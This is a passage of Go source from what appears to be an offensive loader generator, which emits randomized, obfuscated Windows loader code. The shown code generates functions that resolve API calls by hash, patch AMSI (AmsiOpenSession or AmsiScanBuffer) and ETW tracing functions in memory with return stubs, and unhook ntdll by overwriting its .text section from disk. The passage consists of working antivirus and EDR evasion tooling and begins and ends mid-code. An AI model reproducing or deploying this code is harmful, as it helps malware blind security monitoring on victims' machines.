{{.Vars.exportDirOffset}} := {{.Vars.edd}}.VirtualAddress - {{.Vars.ds}}.VirtualAddress
{{.Vars.dxd}} := {{.Vars.d}}[{{.Vars.exportDirOffset}}:]
var {{.Vars.dt}} ExportDirectory
{{.Vars.dt}}.ExportFlags = binary.LittleEndian.Uint32({{.Vars.dxd}}[0:4])
{{.Vars.dt}}.TimeDateStamp = binary.LittleEndian.Uint32({{.Vars.dxd}}[4:8])
{{.Vars.dt}}.MajorVersion = binary.LittleEndian.Uint16({{.Vars.dxd}}[8:10])
{{.Vars.dt}}.MinorVersion = binary.LittleEndian.Uint16({{.Vars.dxd}}[10:12])
{{.Vars.dt}}.NameRVA = binary.LittleEndian.Uint32({{.Vars.dxd}}[12:16])
{{.Vars.dt}}.OrdinalBase = binary.LittleEndian.Uint32({{.Vars.dxd}}[16:20])
{{.Vars.dt}}.NumberOfFunctions = binary.LittleEndian.Uint32({{.Vars.dxd}}[20:24])
{{.Vars.dt}}.NumberOfNames = binary.LittleEndian.Uint32({{.Vars.dxd}}[24:28])
{{.Vars.dt}}.AddressTableAddr = binary.LittleEndian.Uint32({{.Vars.dxd}}[28:32])
{{.Vars.dt}}.NameTableAddr = binary.LittleEndian.Uint32({{.Vars.dxd}}[32:36])
{{.Vars.dt}}.OrdinalTableAddr = binary.LittleEndian.Uint32({{.Vars.dxd}}[36:40])
{{.Vars.dt}}.DllName, _ = {{.Vars.get_string_func}}({{.Vars.d}}, int({{.Vars.dt}}.NameRVA-{{.Vars.ds}}.VirtualAddress))
{{.Vars.ordinalTable}} := make(map[uint16]uint32)
if {{.Vars.dt}}.OrdinalTableAddr > {{.Vars.ds}}.VirtualAddress && {{.Vars.dt}}.NameTableAddr > {{.Vars.ds}}.VirtualAddress {
{{.Vars.dno}} := {{.Vars.d}}[{{.Vars.dt}}.OrdinalTableAddr-{{.Vars.ds}}.VirtualAddress:]
{{.Vars.dnn}} := {{.Vars.d}}[{{.Vars.dt}}.NameTableAddr-{{.Vars.ds}}.VirtualAddress:]
for {{.Vars.n}} := uint32(0); {{.Vars.n}} < {{.Vars.dt}}.NumberOfNames; {{.Vars.n}}++ {
{{.Vars.ord}} := binary.LittleEndian.Uint16({{.Vars.dno}}[{{.Vars.n}}*2 : ({{.Vars.n}}*2)+2])
{{.Vars.nameRVA}} := binary.LittleEndian.Uint32({{.Vars.dnn}}[{{.Vars.n}}*4 : ({{.Vars.n}}*4)+4])
{{.Vars.ordinalTable}}[{{.Vars.ord}}] = {{.Vars.nameRVA}}
}
{{.Vars.dno}} = nil
{{.Vars.dnn}} = nil
}
{{.Vars.dna}} := {{.Vars.d}}[{{.Vars.dt}}.AddressTableAddr-{{.Vars.ds}}.VirtualAddress:]
var {{.Vars.exports}} []Export
for {{.Vars.i}} := uint32(0); {{.Vars.i}} < {{.Vars.dt}}.NumberOfFunctions; {{.Vars.i}}++ {
var {{.Vars.export}} Export
{{.Vars.export}}.VirtualAddress = binary.LittleEndian.Uint32({{.Vars.dna}}[{{.Vars.i}}*4 : ({{.Vars.i}}*4)+4])
{{.Vars.export}}.Ordinal = {{.Vars.dt}}.OrdinalBase + {{.Vars.i}}
if {{.Vars.ds}}.VirtualAddress <= {{.Vars.export}}.VirtualAddress &&
{{.Vars.export}}.VirtualAddress < {{.Vars.ds}}.VirtualAddress+{{.Vars.ds}}.VirtualSize {
{{.Vars.export}}.Forward, _ = {{.Vars.get_string_func}}({{.Vars.d}}, int({{.Vars.export}}.VirtualAddress-{{.Vars.ds}}.VirtualAddress))
}
_, {{.Vars.ok}} := {{.Vars.ordinalTable}}[uint16({{.Vars.i}})]
if {{.Vars.ok}} {
{{.Vars.nameRVA}}, _ := {{.Vars.ordinalTable}}[uint16({{.Vars.i}})]
{{.Vars.export}}.Name, _ = {{.Vars.get_string_func}}({{.Vars.d}}, int({{.Vars.nameRVA}}-{{.Vars.ds}}.VirtualAddress))
}
{{.Vars.exports}} = append({{.Vars.exports}}, {{.Vars.export}})
}
for _, {{.Vars.exp}} := range {{.Vars.exports}} {
if {{.Vars.hash}} == {{.Vars.hashing_func}}({{.Vars.exp}}.Name) {
return windows.NewLazyDLL({{.Vars.dll}}).NewProc({{.Vars.exp}}.Name), {{.Vars.exp}}.Name, nil
}
}
return &windows.LazyProc{}, "", errors.New(` + ObfuscateStr("function not found", str_obfs) + `)
}
`
get_string_func := `
func {{.Vars.get_string_func}}({{.Vars.section}} []byte, {{.Vars.start}} int) (string, bool) {
if {{.Vars.start}} < 0 || {{.Vars.start}} >= len({{.Vars.section}}) {
return "", false
}
for {{.Vars.end}} := {{.Vars.start}}; {{.Vars.end}} < len({{.Vars.section}}); {{.Vars.end}}++ {
if {{.Vars.section}}[{{.Vars.end}}] == 0 {
return string({{.Vars.section}}[{{.Vars.start}}:{{.Vars.end}}]), true
}
}
return "", false
}
`
// append previous functions
functions = utils.AppendString(functions, ParseTemplate(hashing_func, Main))
functions = utils.AppendString(functions, ParseTemplate(get_string_func, Main))
functions = utils.AppendString(functions, ParseTemplate(get_func_ptr_func, Main))
}
// add AMSI patch function to loader
if (!noamsi) {
if (verbose) {
fmt.Println(" > Adding AMSI patch...")
time.Sleep(100 * time.Millisecond)
}
// define variables
Main.Vars["amsi_patch_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["AmsiOpenSession"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["AmsiScanBuffer"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["amsi"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["patch"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["memPage"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pHandle"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["addr2"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars[""] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["numberOfBytesToProtect"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["baseAddress"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["amsi_patch"] = utils.RandomString(utils.RandomInt(9,10))
// append needed exports and imports
imports = utils.AppendSlice(imports, []string{"fmt", "golang.org/x/sys/windows", "unsafe"})
// define code using templates
amsi_patch_func := `
func {{.Vars.amsi_patch_func}}() error {`
if (utils.RandomInt(1, 2) == 1) {
if (hashing) {
amsi_patch_func = amsi_patch_func + `
{{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.AmsiOpenSession}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("AmsiOpenSession", rand_num)) + `, ` + ObfuscateStr("amsi.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
amsi_patch_func = amsi_patch_func + `
{{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.amsi}} := windows.NewLazyDLL(` + ObfuscateStr("amsi.dll", str_obfs) + `)
{{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `)
{{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `)
{{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
{{.Vars.AmsiOpenSession}} := {{.Vars.amsi}}.NewProc(` + ObfuscateStr("AmsiOpenSession", str_obfs) + `)
`
}
amsi_patch_func = amsi_patch_func + `
{{.Vars.patch}} := []byte{0x75}
var {{.Vars.oldProtect}} uint32
var {{.Vars.memPage}} uintptr = 0x1000
{{.Vars.pHandle}}, _, _ := {{.Vars.GetCurrentProcess}}.Call()
{{.Vars.addr}} := {{.Vars.AmsiOpenSession}}.Addr()
{{.Vars.addr2}} := {{.Vars.AmsiOpenSession}}.Addr()
for {{.Vars.i}} := 0; {{.Vars.i}} < 1024; {{.Vars.i}}++ {
if *(*byte)(unsafe.Pointer({{.Vars.addr}} + uintptr({{.Vars.i}}))) == 0x74 {
{{.Vars.addr}} = {{.Vars.addr}} + uintptr(1)
break
}
}
{{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr({{.Vars.pHandle}}), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.memPage}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
if {{.Vars.r1}} != 0 {
return {{.Vars.err}}
}
for {{.Vars.i}} := 0; {{.Vars.i}} < 1024; {{.Vars.i}}++ {
if *(*byte)(unsafe.Pointer({{.Vars.addr2}} + uintptr({{.Vars.i}}))) == 0x74 {
{{.Vars.addr2}} = {{.Vars.addr2}} + uintptr(1)
break
}
}
var {{.Vars.regionsize}} uintptr
{{.Vars.NtWriteVirtualMemory}}.Call(uintptr({{.Vars.pHandle}}), {{.Vars.addr2}}, uintptr(unsafe.Pointer(&{{.Vars.patch}}[0])), uintptr(len({{.Vars.patch}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})))
{{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr({{.Vars.pHandle}}), uintptr(unsafe.Pointer(&{{.Vars.addr2}})), uintptr(unsafe.Pointer(&{{.Vars.memPage}})), uintptr({{.Vars.oldProtect}}), uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
if {{.Vars.r2}} != 0 {
return {{.Vars.err}}
}
return nil
}
`
} else {
if (hashing) {
amsi_patch_func = amsi_patch_func + `
{{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.AmsiScanBuffer}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("AmsiScanBuffer", rand_num)) + `, ` + ObfuscateStr("amsi.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
amsi_patch_func = amsi_patch_func + `
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.amsi}} := windows.NewLazyDLL(` + ObfuscateStr("amsi.dll", str_obfs) + `)
{{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `)
{{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
{{.Vars.AmsiScanBuffer}} := {{.Vars.amsi}}.NewProc(` + ObfuscateStr("AmsiScanBuffer", str_obfs) + `)
`
}
amsi_patch_func = amsi_patch_func + `
var {{.Vars.amsi_patch}} = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
{{.Vars.baseAddress}} := {{.Vars.AmsiScanBuffer}}.Addr()
{{.Vars.numberOfBytesToProtect}} := uintptr(len({{.Vars.amsi_patch}}))
var {{.Vars.oldProtect}} uintptr
{{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.baseAddress}})), uintptr(unsafe.Pointer(&{{.Vars.numberOfBytesToProtect}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
if {{.Vars.r1}} != 0 {
return {{.Vars.err}}
}
{{.Vars.NtWriteVirtualMemory}}.Call(uintptr(0xffffffffffffffff), {{.Vars.AmsiScanBuffer}}.Addr(), uintptr(unsafe.Pointer(&{{.Vars.amsi_patch}}[0])), unsafe.Sizeof({{.Vars.amsi_patch}}), 0)
{{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.baseAddress}})), uintptr(unsafe.Pointer(&{{.Vars.numberOfBytesToProtect}})), uintptr({{.Vars.oldProtect}}), uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
if {{.Vars.r2}} != 0 {
return {{.Vars.err}}
}
return nil
}
`
}
// append previous function
functions = utils.AppendString(functions, ParseTemplate(amsi_patch_func, Main))
}
// add ETW patch function to loader
if (!noetw) {
if (verbose) {
fmt.Println(" > Adding ETW patch...")
}
time.Sleep(100 * time.Millisecond)
// define variables
Main.Vars["etw_patch_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["etw_func_to_patch"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["patch"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["pHandle"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["EtwEventWrite"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["EtwEventWriteEx"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["EtwEventWriteFull"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["EtwEventWriteString"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["EtwEventWriteTransfer"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["addresses"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["data"] = utils.RandomString(utils.RandomInt(9,10))
imports = utils.AppendSlice(imports, []string{"golang.org/x/sys/windows", "unsafe"}) // needed imports
// define code using templates
etw_patch_func := `
func {{.Vars.etw_patch_func}}() error {`
if (utils.RandomInt(1, 2) == 1) {
var etw_func_to_patch string
// use one of the main NT functions used by ETW to patch it
if (utils.RandomInt(1,2) == 1) {
etw_func_to_patch = "NtTraceEvent"
} else {
etw_func_to_patch = "NtTraceControl"
}
if (hashing) {
etw_patch_func = etw_patch_func + `
{{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.etw_func_to_patch}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(etw_func_to_patch, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
etw_patch_func = etw_patch_func + `
{{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `)
{{.Vars.etw_func_to_patch}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(etw_func_to_patch, str_obfs) + `)
{{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `)
{{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
`
}
etw_patch_func = etw_patch_func + `
{{.Vars.pHandle}}, _, _ := {{.Vars.GetCurrentProcess}}.Call()
var {{.Vars.patch}} = []byte{0xc3}
var {{.Vars.oldProtect}} uintptr
var {{.Vars.addr}} uintptr = {{.Vars.etw_func_to_patch}}.Addr()
{{.Vars.regionsize}} := uintptr(len({{.Vars.patch}}))
{{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call({{.Vars.pHandle}}, uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
if {{.Vars.r1}} != 0 {
return {{.Vars.err}}
}
{{.Vars.NtWriteVirtualMemory}}.Call({{.Vars.pHandle}}, {{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.patch}}[0])), uintptr(len({{.Vars.patch}})), 0)
{{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call({{.Vars.pHandle}}, uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), uintptr({{.Vars.oldProtect}}), uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
if {{.Vars.r2}} != 0 {
return {{.Vars.err}}
}
return nil
}
`
} else {
if (hashing) {
etw_patch_func = etw_patch_func + `
{{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.EtwEventWrite}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWrite", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.EtwEventWriteEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteEx", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.EtwEventWriteFull}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteFull", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.EtwEventWriteString}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteString", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
{{.Vars.EtwEventWriteTransfer}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteTransfer", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
etw_patch_func = etw_patch_func + `
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.WriteProcessMemory}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `)
{{.Vars.EtwEventWrite}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWrite", str_obfs) + `)
{{.Vars.EtwEventWriteEx}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteEx", str_obfs) + `)
{{.Vars.EtwEventWriteFull}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteFull", str_obfs) + `)
{{.Vars.EtwEventWriteString}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteString", str_obfs) + `)
{{.Vars.EtwEventWriteTransfer}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteTransfer", str_obfs) + `)
`
}
etw_patch_func = etw_patch_func + `
{{.Vars.addresses}} := []uintptr{ {{.Vars.EtwEventWriteFull}}.Addr(), {{.Vars.EtwEventWrite}}.Addr(), {{.Vars.EtwEventWriteEx}}.Addr(), {{.Vars.EtwEventWriteString}}.Addr(), {{.Vars.EtwEventWriteTransfer}}.Addr() }
for {{.Vars.i}} := range {{.Vars.addresses}} {
{{.Vars.data}}, _ := hex.DecodeString(string([]byte{'4', '8', '3', '3', 'C', '0', 'C', '3'}))
{{.Vars.WriteProcessMemory}}.Call(uintptr(0xffffffffffffffff), uintptr({{.Vars.addresses}}[{{.Vars.i}}]), uintptr(unsafe.Pointer(&{{.Vars.data}}[0])), uintptr(len({{.Vars.data}})), 0)
}
return nil
}
`
imports = utils.AppendString(imports, "encoding/hex")
}
// append previous function
functions = utils.AppendString(functions, ParseTemplate(etw_patch_func, Main))
}
if (unhook != "") {
if (verbose) {
fmt.Println(" > Adding unhooking function...")
}
time.Sleep(100 * time.Millisecond)
}
var unhook_func string
if (unhook == "full") {
imports = utils.AppendSlice(imports, []string{"io/ioutil", "debug/pe", "golang.org/x/sys/windows", "unsafe", "strings"}) // needed imports
dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
Main.Vars["unhook_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["dlls_to_unhook"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dll_to_unhook"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["f"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["file"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["x"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["size"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dll_bytes"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dll"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dll_handle"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dll_base"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dll_offset"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["loc"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["mem"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
unhook_func = `
func {{.Vars.unhook_func}}({{.Vars.dlls_to_unhook}} []string) error {
`
if (hashing) {
unhook_func = unhook_func + `
{{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
`
} else {
unhook_func = unhook_func + `
{{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
{{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
`
}
unhook_func = unhook_func + `
for _, {{.Vars.dll_to_unhook}} := range {{.Vars.dlls_to_unhook}} {
if (!strings.HasPrefix({{.Vars.dll_to_unhook}}, "C:\\")) {
{{.Vars.dll_to_unhook}} = "C:\\Windows\\System32\\" + {{.Vars.dll_to_unhook}}
}
{{.Vars.f}}, {{.Vars.err}} := ioutil.ReadFile({{.Vars.dll_to_unhook}})
if {{.Vars.err}} != nil {
return {{.Vars.err}}
}
{{.Vars.file}}, {{.Vars.err}} := pe.Open({{.Vars.dll_to_unhook}})
if {{.Vars.err}} != nil {
return {{.Vars.err}}
}
{{.Vars.x}} := {{.Vars.file}}.Section(` + ObfuscateStr(".text", str_obfs) + `)
{{.Vars.size}} := {{.Vars.x}}.Size
{{.Vars.dll_bytes}} := {{.Vars.f}}[{{.Vars.x}}.Offset:{{.Vars.x}}.Size]
{{.Vars.dll}}, {{.Vars.err}} := windows.LoadDLL({{.Vars.dll_to_unhook}})
if {{.Vars.err}} != nil {
return {{.Vars.err}}
}
{{.Vars.dll_handle}} := {{.Vars.dll}}.Handle
{{.Vars.dll_base}} := uintptr({{.Vars.dll_handle}})
{{.Vars.dll_offset}} := uint({{.Vars.dll_base}}) + uint({{.Vars.x}}.VirtualAddress)
{{.Vars.regionsize}} := uintptr({{.Vars.size}})
var {{.Vars.oldProtect}} uintptr
{{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.dll_offset}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
if {{.Vars.r1}} != 0 {
return {{.Vars.err}}
}
for {{.Vars.i}} := 0; {{.Vars.i}} < len({{.Vars.dll_bytes}}); {{.Vars.i}}++ {
{{.Vars.loc}} := uintptr({{.Vars.dll_offset}} + uint({{.Vars.i}}))
{{.Vars.mem}} := (*[1]byte)(unsafe.Pointer({{.Vars.loc}}))
(*{{.Vars.mem}})[0] = {{.Vars.dll_bytes}}[{{.Vars.i}}]
}
{{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.dll_offset}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), {{.Vars.oldProtect}}, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
if {{.Vars.r2}} != 0 {
return {{.Vars.err}}
}
}
return nil
}
`
} else if (unhook == "peruns") {
imports = utils.AppendSlice(imports, []string{"time", "debug/pe", "golang.org/x/sys/windows", "unsafe", "strings"}) // needed imports
dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
Main.Vars["unhook_func"] = utils.RandomString(utils.RandomInt(10,12))
Main.Vars["dlls_to_unhook"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["dll_to_unhook"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["GetConsoleWindow"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["ShowWindow"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["CreateProcessW"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
